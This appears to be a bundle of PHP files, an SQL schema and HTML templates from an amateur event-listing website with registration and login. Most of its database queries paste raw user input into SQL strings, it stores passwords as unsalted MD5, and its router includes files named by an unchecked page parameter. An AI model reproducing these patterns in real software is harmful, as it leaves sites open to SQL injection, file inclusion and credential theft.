11:37 AM */ spl_autoload_register(function($class) { require_once ("../class/{$class}.php"); }); class DataBucket extends Dbconnection { public function __construct() { if(!Dbconnection::getConnection()) { $dbConnection = Dbconnection::getConnection(); echo $dbConnection; } } //All we have to do here is pass in the event id and it will return an array of data from the event table //************HOW TO USE ******************** //$data = new DataBucket(); //echo $data->get_events_by_id(3)['event_name']; //echo '<br/>'; //echo $data->get_events_by_id(3)['event_content']; public function get_events_by_id($event_id) { $sql = "SELECT * FROM event WHERE event_id = '$event_id'"; $event_by_id_query = mysqli_query($this->getConnection(), $sql); $event_by_id_bucket = mysqli_fetch_assoc($event_by_id_query); return $event_by_id_bucket; //return $get_event_id = $event_by_id_bucket['event_id']; //$get_event_name = $event_by_id_bucket['event_name']; //$get_event_content = $event_by_id_bucket['event_content']; } //THIS WILL GIVE US A LIST OF EVENT IN NO PARTICULAR ORDER public static function get_events_list() { $sql = "SELECT * FROM event"; $event_list_query = mysqli_query(DataBucket::getConnection(), $sql); $event_list_bucket = mysqli_fetch_assoc($event_list_query); //return $event_list_bucket; do{ ?> <li class="post-337 post type-post status-publish format-standard hentry category-gallery category-stock-photo" id="post-337"> <a href="events.php?event_id=<?php echo $event_list_bucket['event_id'];?>"><img width="235" height="235" src="<?php echo $event_list_bucket['e_image'];?>" class="attachment-thumbnail-blog1 wp-post-image" alt="SplitShire_IMG_5430" /></a> <div class="post-likes"> <a href="<?php echo $event_list_bucket['event_id'];?>" class="zilla-likes" id="zilla-likes-337" title="<?php echo $event_list_bucket['event_heading'];?>"><span class="zilla-likes-count">391</span> <span class="zilla-likes-postfix"></span></a> </div> <div class="post-content"> <a href="events.php?event_id=<?php echo $event_list_bucket['event_id'];?>"><h2><?php echo $event_list_bucket['event_name'];?>&#8217;</h2></a> <span><?php echo $event_list_bucket['e_date'];?></span> </div> </li> <!--WE CAN ALSO DISPLAY ALL OTHER FIELDS IN THE DB--> <?php } while($event_list_bucket = mysqli_fetch_assoc($event_list_query)); //HOW TO USE DataBucket::get_events_list(); //return $get_event_id = $event_by_id_bucket['event_id']; //$get_event_name = $event_by_id_bucket['event_name']; //$get_event_content = $event_by_id_bucket['event_content']; } //This give us the events by venue name public static function get_events_list_by_venue($venue) { $sql = "SELECT * FROM event WHERE event_venue = '$venue'"; $event_venue_query = mysqli_query(DataBucket::getConnection(), $sql); $event_venue_bucket = mysqli_fetch_assoc($event_venue_query); //return $event_venue_bucket; do{ ?> <p>Event name: <?php echo $event_venue_bucket['event_name'];?> at venue : <?php echo $event_venue_bucket['event_venue']; ?></p> <!--//WE CAN ALSO DISPLAY ALL OTHER FIELDS IN THE DB--> <?php } while($event_venue_bucket = mysqli_fetch_assoc($event_venue_query)); //HOW TO USE DataBucket::get_events_list(); //return $get_event_id = $event_by_id_bucket['event_id']; //$get_event_name = $event_by_id_bucket['event_name']; //$get_event_content = $event_by_id_bucket['event_content']; } public static function get_page_header($id) { $dbConnection = Dbconnection::getConnection(); //$dbConnection = mysqli_connect('localhost', 'root', '', 'zapp_base'); $header_sql = "SELECT * FROM event WHERE event_id = '$id'"; $header_query = mysqli_query($dbConnection, $header_sql ); $header_result = mysqli_fetch_assoc($header_query); if(isset($id)) { echo '<style> header{background-image: url("'; echo $header_result['e_image']; echo '");} </style>'; //echo "<style> header{background-image: url(".$header_result['e_image'].");}</style>"; } elseif($id == 'i') { echo '<header>'; } else { echo '<header>'; } } public static function x_route($url) { $page = $url; //var_dump($page); if($page == $page){ //var_dump($page); if(file_exists("includes/$page.php")){ include("includes/$page.php"); } else{ include('includes/main.php'); } } elseif(empty($url)) { $url = 'home'; include('includes/main.php'); } } public static function get_menu() { $sql = "SELECT * FROM menu_items WHERE menu_parent_id = '0' ORDER BY orders"; //$sql = "SELECT * FROM menu_items"; $menu_query = mysqli_query(Dbconnection::getConnection(), $sql); $menu_bucket = mysqli_fetch_assoc($menu_query); //return $menu_bucket; do { echo '<li id="menu-item-223" class="'; echo DataBucket::echoSelectedClassIfRequestMatches($menu_bucket['menu_item_name']).'php'; echo '"><a href="index.php?page='.$menu_bucket['menu_item_name'].'">'.$menu_bucket['menu_item_name'].'</a></li>'; } while($menu_bucket = mysqli_fetch_assoc($menu_query)); //return $get_event_id = $event_by_id_bucket['event_id']; //$get_event_name = $event_by_id_bucket['event_name']; //$get_event_content = $event_by_id_bucket['event_content']; } public static function get_login_menu() { $sql = "SELECT * FROM menu_items WHERE menu_parent_id = '3'"; //$sql = "SELECT * FROM menu_items"; $menu_query = mysqli_query(Dbconnection::getConnection(), $sql); $menu_bucket = mysqli_fetch_assoc($menu_query); //return $menu_bucket; do { echo '<a href="index.php?page='.$menu_bucket['menu_item_name'].'" class="tag-link-23" title="4 topics" style="font-size: 8pt;">'.$menu_bucket['menu_item_name'].'</a>'; //echo '<li id="menu-item-223" class="'; //echo DataBucket::echoSelectedClassIfRequestMatches($menu_bucket['menu_item_name']).'php'; //echo '"><a href="index.php?page='.$menu_bucket['menu_item_name'].'">'.$menu_bucket['menu_item_name'].'</a></li>'; } while($menu_bucket = mysqli_fetch_assoc($menu_query)); //return $get_event_id = $event_by_id_bucket['event_id']; //$get_event_name = $event_by_id_bucket['event_name']; //$get_event_content = $event_by_id_bucket['event_content']; } public static function get_member_menu() { $sql = "SELECT * FROM menu_items WHERE menu_parent_id = '4'"; //$sql = "SELECT * FROM menu_items"; $menu_query = mysqli_query(Dbconnection::getConnection(), $sql); $menu_bucket = mysqli_fetch_assoc($menu_query); //return $menu_bucket; do { echo '<a href="index.php?page='.$menu_bucket['menu_item_name'].'" class="tag-link-23" title="4 topics" style="font-size: 8pt;">'.$menu_bucket['menu_item_name'].'</a>'; //echo '<li id="menu-item-223" class="'; //echo DataBucket::echoSelectedClassIfRequestMatches($menu_bucket['menu_item_name']).'php'; //echo '"><a href="index.php?page='.$menu_bucket['menu_item_name'].'">'.$menu_bucket['menu_item_name'].'</a></li>'; } while($menu_bucket = mysqli_fetch_assoc($menu_query)); //return $get_event_id = $event_by_id_bucket['event_id']; //$get_event_name = $event_by_id_bucket['event_name']; //$get_event_content = $event_by_id_bucket['event_content']; } public static function echoSelectedClassIfRequestMatches($requestUri) { $current_file_name = basename($_SERVER['REQUEST_URI']); //var_dump($current_file_name); if ($current_file_name == $requestUri) { return 'menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-223'; } else { return 'menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-224'; } } public static function get_event_image($id) { $data = new DataBucket(); $data->get_events_by_id($id); echo $data->get_events_by_id($id)['e_image']; } public static function get_event_name($id) { $data = new DataBucket(); $data->get_events_by_id($id); echo $data->get_events_by_id($id)['event_name']; } public static function get_event_content($id) { $data = new DataBucket(); $data->get_events_by_id($id); echo $data->get_events_by_id($id)['event_content']; } public static function get_event_date($id) { $data = new DataBucket(); $data->get_events_by_id($id); echo $data->get_events_by_id($id)['e_date']; } public static function get_event_venue($id) { $data = new DataBucket(); $data->get_events_by_id($id); echo $data->get_events_by_id($id)['event_venue']; } } //DataBucket::get_event_name(7); //echo '<br/>'; //DataBucket::get_event_content(7); //echo '<br/>'; //DataBucket::get_event_venue(7); //echo '<br/>'; //DataBucket::get_events_list(); //echo '<br/>'; //DataBucket::get_events_list_by_venue('Villa Lounge'); //echo '<br/>';<file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 8/29/15 * Time: 6:16 PM */ $event_name = 'null'; $event_heading = 'null'; $event_content = 'null'; spl_autoload_register(function($class) { require_once ("../class/{$class}.php"); }); ?> <form id="create_event" method="post" action="../includes/create_event.php"> <div style="width:200px; float: left;">Event Name: </div><div><input type="text" name="event_title" placeholder="The party of the year!"></div> <div style="width:200px; float: left;">Event Heading: </div><div><input type="text" name="event_heading" placeholder="The best party in the world"></div> <div style="width:200px; float: left;">Event Content: </div><div><textarea name="event_content" placeholder="yes sir"></textarea></div> <div style="width:200px; float: left;">Event Name: </div><div><input type="file" name="event_image" placeholder="image goes here"></div> <div><input type="submit" name="submit" value="Submit"></div> </form> <?php $event = new Event(); $event->create_event($_POST['event_id'] = null, $_POST['event_title'], $_POST['event_title'], $_POST['event_content'] = null, 'asset/img/'.$_POST['event_image'], $_POST['event_date'] = null, 1, 1, $_POST['event_venue'] = null, $_POST['event_time_stamp'] = null, $_POST['event_address_1'] = null, $_POST['event_address_2'] = null, $_POST['event_state'] = null, $_POST['event_city'] = null, $_POST['event_zip'] = null); ?> <file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 9/1/15 * Time: 9:12 PM */ $funObj = new Access(); if(isset($_POST['register'])){ $username = $_POST['username']; $email = $_POST['email']; //var_dump($email); $password = $_POST['password']; $confirmPassword = $_POST['<PASSWORD>']; if(empty($username) || empty($email) || empty($password) || empty($confirmPassword)) { echo 'No fields can be empty'; } else { var_dump($email); if($password == $confirmPassword){ $emailcheck = $funObj->isUserExist($email); //var_dump($email); if(!$emailcheck){ $register = $funObj->UserRegister($username, $email, $password); if($register){ //echo "<script>alert('Registration Successful')</script>"; //header("Location:index.php?page=regcomfirm"); include ('includes/regcomfirm.php'); }else{ echo "<script>alert('Registration Not Successful')</script>"; } } else { echo "<script>alert('Email Already Exist')</script>"; } } else { echo "<script>alert('Password Not Match')</script>"; } } } ?> <!-- Begin Main Content --> <div class="main-content"> <h3>Not yet a member, Register! </h3> <div class="login" style="width: 400px;"> <form id="contactform" name="login" method="post" action=""> <fieldset id="contactform"> <div class="one_full_c"> <label for="subject">Username:<span>*</span></label> <input type="text" name="username" id="subject" value="" class="required requiredField subject" /> </div> <div class="one_full_c"> <label for="subject">Email:<span>*</span></label> <input type="text" name="email" id="subject" value="" class="required requiredField subject" /> </div> <div class="one_full_c"> <label for="subject">Password:<span>*</span></label> <input type="password" name="password" id="subject" value="" class="required requiredField subject" /> </div> <div class="one_full_c"> <label for="subject">Confirm Password:<span>*</span></label> <input type="password" name="confirmpassword" id="subject" value="" class="required requiredField subject" /> </div> <div class="one_full_c"> <input type="hidden" name="submitted" id="submitted" value="true" /> <input type="submit" name="register" class="sendemail" value="register" /> <span>*</span>All Fields are mandatory! </div> </fieldset> </form> </div> </div><!-- end .main-content --><file_sep><?php /** * Created by PhpStorm. * User: munabste * Date: 8/26/2015 * Time: 10:27 AM */ define ("7<", "?>");<file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 9/1/15 * Time: 9:12 PM */ ?> <!-- Begin Main Content --> <div class="main-content"> <h3>Already a member, Login </h3> <div class="login" style="width: 400px;"> <form id="contactform" name="login" method="post" action=""> <fieldset id="contactform"> <div class="one_full_c"> <label for="subject">Email:<span>*</span></label> <input type="text" name="email" id="subject" value="" class="required requiredField subject" /> </div> <div class="one_full_c"> <label for="subject">Password:<span>*</span></label> <input type="<PASSWORD>" name="password" id="subject" value="" class="required requiredField subject" /> </div> <div class="one_full_c"> <!--<label for="comments">Message:<span>*</span> </label> <textarea name="comments" id="contactmessage" rows="" cols=""></textarea>--> <input type="submit" name="login" class="sendemail" value="login" /> <span>*</span>All Fields are mandatory! </div> <input type="hidden" name="submitted" id="submitted" value="true" /> </fieldset> </form> </div> </div><!-- end .main-content --><file_sep><?php /** * Created by PhpStorm. * User: munabste * Date: 8/26/2015 * Time: 10:36 AM */ ?> <h1>THIS IS A DEFAULT VIEW</h1> <p>This page does not yet exit, you must go to the view folder and crete this view page</p><file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 9/1/15 * Time: 10:58 PM */ spl_autoload_register(function($class) { require_once ("class/{$class}.php"); }); class Access extends Dbconnection { public function UserRegister($username, $email, $password){ $password = md5($password); $qr = mysqli_query(Dbconnection::getConnection(),"INSERT INTO users(USER_NAME, EMAIL, PASSWORD) values('".$username."','".$email."','".$password."')") or die(mysql_error()); return $qr; } public function Login($email, $password){ $res = mysqli_query(Dbconnection::getConnection(), "SELECT * FROM users WHERE EMAIL = '".$email."' AND PASSWORD = '".md5($password)."'"); $user_data = mysqli_fetch_array($res); //print_r($user_data); $no_rows = mysqli_num_rows($res); if ($no_rows == 1) { $_SESSION['login'] = true; $_SESSION['uid'] = $user_data['ID']; $_SESSION['username'] = $user_data['USER_NAME']; $_SESSION['email'] = $user_data['EMAIL']; return TRUE; } else { return FALSE; } } public function isUserExist($email){ $qr = mysqli_query(Dbconnection::getConnection(), "SELECT * FROM users WHERE EMAIL = '".$email."'"); var_dump($qr); echo $row = mysqli_num_rows($qr); if($row > 0){ return true; } else { return false; } } }<file_sep><?php /** * Created by PhpStorm. * User: munabste * Date: 9/1/2015 * Time: 3:19 PM */ ?> <section class="wrap"> <div class="archive-header"><h3>All posts in: <strong>Themes</strong></h3><p>Description for Category, better for SEO purpose</p> </div> <!-- Begin Main Content --> <div class="main-content"> <ul class="example-1"> <li class="post-221 post type-post status-publish format-standard hentry category-premium category-themes category-wordpress tag-blog tag-buy tag-magazine tag-responsive tag-woocommerce" id="post-221"> <a href="http://anthemes.net/themes/boutique/undo-premium-wordpress-news-magazine-theme/"><img width="235" height="235" src="http://anthemes.net/themes/boutique/wp-content/uploads/2014/02/undo-235x235.jpg" class="attachment-thumbnail-blog1 wp-post-image" alt="undo"></a> <div class="post-likes"> <a href="#" class="zilla-likes" id="zilla-likes-221" title="Like this"><span class="zilla-likes-count">294</span> <span class="zilla-likes-postfix"></span></a> </div> <div class="post-content"> <a href="http://anthemes.net/themes/boutique/undo-premium-wordpress-news-magazine-theme/"><h2>Undo – Premium WordPress News / Magazine Theme</h2></a> <span>2 years ago</span> </div> </li> <li class="post-209 post type-post status-publish format-standard hentry category-premium category-themes category-wordpress tag-blog tag-buy tag-download tag-magazine tag-mogoze" id="post-209"> <a href="http://anthemes.net/themes/boutique/mogoze-responsive-magazine-wordpress-theme/"><img width="235" height="235" src="http://anthemes.net/themes/boutique/wp-content/uploads/2014/02/mogoze1-235x235.jpg" class="attachment-thumbnail-blog1 wp-post-image" alt="mogoze"></a> <div class="post-likes"> <a href="#" class="zilla-likes" id="zilla-likes-209" title="Like this"><span class="zilla-likes-count">146</span> <span class="zilla-likes-postfix"></span></a> </div> <div class="post-content"> <a href="http://anthemes.net/themes/boutique/mogoze-responsive-magazine-wordpress-theme/"><h2>Mogoze – Responsive Magazine WordPress Theme</h2></a> <span>2 years ago</span> </div> </li> </ul><!-- end .example-1 --> </div><!-- end .main-content --> <!-- Begin Sidebar (right) --> <aside class="sidebar"> <div class="widget widget_text"><h3 class="title"><span>Advertisement</span></h3><div class="clear"></div> <div class="textwidget"><a href="http://themeforest.net/item/1page-masonry-wordpress-news-interesting-links/6831624?ref=An-Themes" target="_blank"><img src="http://anthemes.net/themes/boutique/wp-content/uploads/2014/02/209024-1392396975.jpg" width="300" height="250" alt="banner"></a></div> </div><div class="widget widget_categories"><h3 class="title"><span>Categories</span></h3><div class="clear"></div><select name="cat" id="cat" class="postform"> <option value="-1">Select Category</option> <option class="level-0" value="2">Architecture</option> <option class="level-0" value="3">Gallery</option> <option class="level-0" value="4">Health</option> <option class="level-0" value="5">Premium</option> <option class="level-0" value="6">Reviews</option> <option class="level-0" value="7">Social Media</option> <option class="level-0" value="8">Stock Photo</option> <option class="level-0" value="9">Technology</option> <option class="level-0" value="10" selected="selected">Themes</option> <option class="level-0" value="11">US &amp; World</option> <option class="level-0" value="12">Vimeo</option> <option class="level-0" value="13">WordPress</option> <option class="level-0" value="14">Youtube</option> </select> <script type="text/javascript"> /* <![CDATA[ */ var dropdown = document.getElementById("cat"); function onCatChange() { if ( dropdown.options[dropdown.selectedIndex].value > 0 ) { location.href = "http://anthemes.net/themes/boutique/?cat="+dropdown.options[dropdown.selectedIndex].value; } } dropdown.onchange = onCatChange; /* ]]> */ </script> </div> <div class="widget widget_anthemes_hotposts"><h3 class="title"><span>Hot Posts by Views</span></h3><div class="clear"></div> <ul class="article_list"> <li><a href="http://anthemes.net/themes/boutique/group-of-people-at-the-gym-exercising-on-the-xtrainer-machines/"> <img width="80" height="80" src="http://anthemes.net/themes/boutique/wp-content/uploads/2013/12/picjumbo.com_IMG_5540-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="picjumbo.com_IMG_5540"> </a> <div class="an-display-time">2 years ago</div><br> <h3><a href="http://anthemes.net/themes/boutique/group-of-people-at-the-gym-exercising-on-the-xtrainer-machines/">Group of people at the gym exercising on the xtrainer machines</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 6272</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-74" title="Like this"><span class="zilla-likes-count">68</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="http://anthemes.net/themes/boutique/group-of-people-at-the-gym-exercising-on-the-xtrainer-machines/#comments" title="Comment on Group of people at the gym exercising on the xtrainer machines">6</a></div><div class="clear"></div> </div> </li> <li><a href="http://anthemes.net/themes/boutique/designers-craft-chic-helmets-for-the-fashion-touchdown/"> <img width="80" height="80" src="http://anthemes.net/themes/boutique/wp-content/uploads/2014/02/SplitShire_IMG_5430-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="SplitShire_IMG_5430"> </a> <div class="an-display-time">2 years ago</div><br> <h3><a href="http://anthemes.net/themes/boutique/designers-craft-chic-helmets-for-the-fashion-touchdown/">Designers Craft Chic Helmets for the ‘Fashion Touchdown’</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 6183</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-337" title="Like this"><span class="zilla-likes-count">391</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="http://anthemes.net/themes/boutique/designers-craft-chic-helmets-for-the-fashion-touchdown/#respond" title="Comment on Designers Craft Chic Helmets for the ‘Fashion Touchdown’">0</a></div><div class="clear"></div> </div> </li> <li><a href="http://anthemes.net/themes/boutique/undo-premium-wordpress-news-magazine-theme/"> <img width="80" height="80" src="http://anthemes.net/themes/boutique/wp-content/uploads/2014/02/undo-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="undo"> </a> <div class="an-display-time">2 years ago</div><br> <h3><a href="http://anthemes.net/themes/boutique/undo-premium-wordpress-news-magazine-theme/">Undo – Premium WordPress News / Magazine Theme</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 4676</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-221" title="Like this"><span class="zilla-likes-count">294</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="http://anthemes.net/themes/boutique/undo-premium-wordpress-news-magazine-theme/#comments" title="Comment on Undo – Premium WordPress News / Magazine Theme">1</a></div><div class="clear"></div> </div> </li> <li><a href="http://anthemes.net/themes/boutique/super-bowl-2014-ads-watch-commercials-watch-them-all-here/"> <img width="80" height="80" src="http://anthemes.net/themes/boutique/wp-content/uploads/2014/02/SplitShire_IMG_6632-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="SplitShire_IMG_6632"> </a> <div class="an-display-time">2 years ago</div><br> <h3><a href="http://anthemes.net/themes/boutique/super-bowl-2014-ads-watch-commercials-watch-them-all-here/">Super Bowl 2014 Ads Watch Commercials: Watch Them All Here</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 3907</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-333" title="Like this"><span class="zilla-likes-count">435</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="http://anthemes.net/themes/boutique/super-bowl-2014-ads-watch-commercials-watch-them-all-here/#respond" title="Comment on Super Bowl 2014 Ads Watch Commercials: Watch Them All Here">0</a></div><div class="clear"></div> </div> </li> <li><a href="http://anthemes.net/themes/boutique/close-up-of-a-green-turtle-underwater-on-a-coral/"> <img width="80" height="80" src="http://anthemes.net/themes/boutique/wp-content/uploads/2013/12/picjumbo.com_IMG_4340-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="picjumbo.com_IMG_4340"> </a> <div class="an-display-time">2 years ago</div><br> <h3><a href="http://anthemes.net/themes/boutique/close-up-of-a-green-turtle-underwater-on-a-coral/">Close-up of a green turtle underwater on a coral</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 3566</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-64" title="Like this"><span class="zilla-likes-count">71</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="http://anthemes.net/themes/boutique/close-up-of-a-green-turtle-underwater-on-a-coral/#comments" title="Comment on Close-up of a green turtle underwater on a coral">3</a></div><div class="clear"></div> </div> </li> </ul> </div> <div class="widget widget_text"><h3 class="title"><span>Advertisement</span></h3><div class="clear"></div> <div class="textwidget"><a href="http://themeforest.net/item/undo-premium-wordpress-news-magazine-theme/6528752?ref=An-Themes" target="_blank"><img src="http://anthemes.net/themes/boutique/wp-content/uploads/2014/02/banner.jpg" width="300" height="250" alt="banner"></a></div> </div></aside> <!-- end #sidebar (right) --> <div class="clear"></div> </section><file_sep>CREATE table menu_items( menu_item_id int not null auto_increment, menu_item_name tinytext, menu_description tinytext, menu_url text, menu_parent_id int not null default 0, PRIMARY KEY(menu_item_id) ) ENGINE=INNODB; INSERT INTO menu_items (menu_item_id, menu_item_name, menu_description, menu_url, menu_parent_id) VALUES (1, 'Home', 'the home page', 'index.php', 0); INSERT INTO menu_items (menu_item_id, menu_item_name, menu_description, menu_url, menu_parent_id) VALUES (2, 'Events', 'the event listing and search page', 'listings.php', 1); INSERT INTO menu_items (menu_item_id, menu_item_name, menu_description, menu_url, menu_parent_id) VALUES (3, 'My Account', 'A page for users to see the account info', 'account.php', 2); INSERT INTO menu_items (menu_item_id, menu_item_name, menu_description, menu_url, menu_parent_id) VALUES (4, 'Dasboard', 'A page with all the event a user has created or rsvp for', 'dashboard.php?user_id=$user_id', 2); <file_sep><?php /** * Created by PhpStorm. * User: munabste * Date: 8/26/2015 * Time: 9:09 AM */ class xframe extends Dbconnection { public $logo; public function x_menu($logo, $template, $page1, $event_heading, $event_content){ //here we create a page based on the input of the logo variable $this->mk_table($logo); $heading = $event_heading; $content = $event_content; //this goes in to the db //this text is stored in the database $txt = "<p><center>You need to edit this file!, it was automatically created for you!</center></p>"; //if the page exsit, do nothing, if does not create on and store it in the views folder if(file_exists("view/$page1.view.php")) { //DO NOTHING } else { //here we are creating a new page for the event view $newfile = fopen("view/$page1.view.php", "w"); //fwrite($newfile, $txt); //here we are also creating a new entry to the table if the value is not already in the db $dbConnection = Dbconnection::getConnection(); //$dbConnection = mysqli_connect('localhost', 'root', '', 'zapp_base'); $result = mysqli_query($dbConnection, "SELECT event_id FROM event WHERE event_name = '$page1'"); //print_r($page1); //var_dump($result); if(mysqli_num_rows($result) == 0){ $sql = "INSERT INTO event (event_name, event_heading, event_content) VALUES ('$page1', '$heading', '$content')"; if(mysqli_query($dbConnection, $sql)){ echo "New record created successfully"; } else{ echo "NO NO"; } } } /**if(file_exists("view/$page2.view.php")){ } else{ $newfile = fopen("view/$page2.view.php", "w"); fwrite($newfile, $txt); } if(file_exists("view/$page3.view.php")){ } else{ $newfile = fopen("view/$page3.view.php", "w"); //fwrite($newfile, $txt); } if(file_exists("view/$page4.view.php")){ } else{ $newfile = fopen("view/$page4.view.php", "w"); //fwrite($newfile, $txt); }*/ $logo = strtoupper($logo); $page1 = strtoupper($page1); //$page2 = strtoupper($page2); //$page3 = strtoupper($page3); //$page4 = strtoupper($page4); $template = $template; echo "<html>"; echo "<head>"; echo "<title>The E | </title>"; if($template = $template){ if(file_exists("assets/css/$template.css")){ echo "<link rel='stylesheet' href='assets/css/$template.css'>"; } else{ echo "<link rel='stylesheet' href='assets/css/style.css'>"; } // this is pulling information from the db to populate the menu or list of events----have to reconfigure this and remove as menu system echo "<script src='assets/js/main.js'></script>"; echo "</head>"; echo "<body>"; // echo "<div id='container'"; echo "<header>"; echo " <div class='header-wrap '>"; echo " <div class='logo'>$logo</div>"; echo " <div class='main-nav'>"; echo " <ul>"; $dbConnection = Dbconnection::getConnection(); //$dbConnection = mysqli_connect('localhost', 'root', '', 'zapp_base'); $menu_sql = "SELECT * FROM event"; $menu_query = mysqli_query($dbConnection, $menu_sql); $results = mysqli_fetch_assoc($menu_query); while($results = mysqli_fetch_assoc($menu_query)) { $page = $results['event_name']; $content = $results['event_content']; $heading = $results['event_heading']; $id = $results['event_id']; echo " <li style='text-decoration: none; display: inline; margin-left: 10px;'><a href='index.php?page=" . strtolower($page) . "'>".strtoupper($page)."</a></li>"; } echo " </ul>"; echo " </div>"; echo " </div>"; echo "</header>"; echo "<div class='center'>"; } } //this routes the application and includes the appropriate view public function x_route($url){ $page = $url; if($page == $page){ echo "<h1><center>Welcome to the " . $page . "</center></h1>"; echo "<hr>"; if(file_exists("view/$page.view.php")){ include("view/$page.view.php"); } else{ include('view/default.view.php'); } } } private function mk_table($logo){ //print_r($logo); //$dbConnection = mysqli_connect('localhost', 'root', '', 'zapp_base'); $dbConnection = Dbconnection::getConnection(); $query = "SELECT ID FROM $logo"; $result = mysqli_query($dbConnection, $query); if(empty($result)){ $query = "CREATE TABLE $logo ( ID int(11) AUTO_INCREMENT, EMAIL varchar(255) NOT NULL, PASSWORD varchar(255) NOT NULL, PERMISSION_LEVEL int, APPLICATION_COMPLETED int, APPLICATION_IN_PROGRESS int, PRIMARY KEY (ID) )"; $result = mysqli_query($dbConnection, $query); } } //this get the page content base on the id passed in..this is use for single page view of the event public function get_page_content($page) { $dbConnection = Dbconnection::getConnection(); //$dbConnection = mysqli_connect('localhost', 'root', '', 'zapp_base'); $content_sql = "SELECT * FROM event WHERE event_name = '$page'"; $content_query = mysqli_query($dbConnection, $content_sql ); $cont_result = mysqli_fetch_assoc($content_query); echo "<title> The E | " .$cont_result['event_heading']."</title>"; echo "<div class='box' style='background-image: url(".$cont_result['e_image']."); width: 500px; height: 500px;'>"; echo "<style> header{background-image: url(".$cont_result['e_image'].");}</style>"; $date = $cont_result['e_date']; echo "<div class='reddate'>"; echo date('F', strtotime($date)); echo "<br/>"; echo "<b style='font-size: 34px;'>".date('d', strtotime($date))."</b>"; echo "</div>"; echo "<div style='float: right;'><h3>".$cont_result['event_heading']."</h3></div>"; echo "</div>"; //echo $cont_result['event_name']; //echo $cont_result['e_image']; //echo "<h3>".$cont_result['event_heading']."</h3>"; echo "<center>".$cont_result['event_content']."</center>"; } //this function contolse the footer of the site public function get_footer() { echo "</div>"; echo "<footer><center><a class='footer-word' href='http://www.mustaard.com' target='_new'>Powered By Mustaard - Copyright &copy; 2014 - " . date('Y') . " Mustaard Software Solutions, L.L.C. </i></a></center></footer>"; //echo "</div>"; echo "</body>"; echo "</html>"; } } <file_sep><?php include('includes/header.php'); ?> <?php include('includes/event_view.php'); ?> <!-- Begin Sidebar (right) --> <aside class="sidebar"> <div class="widget widget_text"><h3 class="title"><span>Advertisement</span></h3><div class="clear"></div> <div class="textwidget"><a href="#" target="_blank"><img src="assets/img/209024-1392396975.jpg" width="300" height="250" alt="banner" /></a></div> </div><div class="widget widget_categories"><h3 class="title"><span>Categories</span></h3><div class="clear"></div><select name='cat' id='cat' class='postform' > <option value='-1'>Select Category</option> <option class="level-0" value="2">Architecture</option> <option class="level-0" value="3">Gallery</option> <option class="level-0" value="4">Health</option> <option class="level-0" value="5">Premium</option> <option class="level-0" value="6">Reviews</option> <option class="level-0" value="7">Social Media</option> <option class="level-0" value="8">Stock Photo</option> <option class="level-0" value="9">Technology</option> <option class="level-0" value="10">Themes</option> <option class="level-0" value="11">US &amp; World</option> <option class="level-0" value="12">Vimeo</option> <option class="level-0" value="13">WordPress</option> <option class="level-0" value="14">Youtube</option> </select> <script type='text/javascript'> /* <![CDATA[ */ var dropdown = document.getElementById("cat"); function onCatChange() { if ( dropdown.options[dropdown.selectedIndex].value > 0 ) { location.href = "http://anthemes.net/themes/boutique/?cat="+dropdown.options[dropdown.selectedIndex].value; } } dropdown.onchange = onCatChange; /* ]]> */ </script> </div> <div class="widget widget_anthemes_hotposts"><h3 class="title"><span>Hot Posts by Views</span></h3><div class="clear"></div> <ul class="article_list"> <li><a href="#"> <img width="80" height="80" src="assets/uploads/2013/12/picjumbo.com_IMG_5540-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="picjumbo.com_IMG_5540" /> </a> <div class="an-display-time">2 years ago</div><br /> <h3><a href="#">Group of people at the gym exercising on the xtrainer machines</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 6266</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-74" title="Like this"><span class="zilla-likes-count">68</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="#" title="Comment on Group of people at the gym exercising on the xtrainer machines">6</a></div><div class="clear"></div> </div> </li> <li><a href="#"> <img width="80" height="80" src="assets/img/SplitShire_IMG_5430-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="SplitShire_IMG_5430" /> </a> <div class="an-display-time">2 years ago</div><br /> <h3><a href="#">Designers Craft Chic Helmets for the &#8216;Fashion Touchdown&#8217;</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 6176</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-337" title="Like this"><span class="zilla-likes-count">391</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="#" title="Comment on Designers Craft Chic Helmets for the &#8216;Fashion Touchdown&#8217;">0</a></div><div 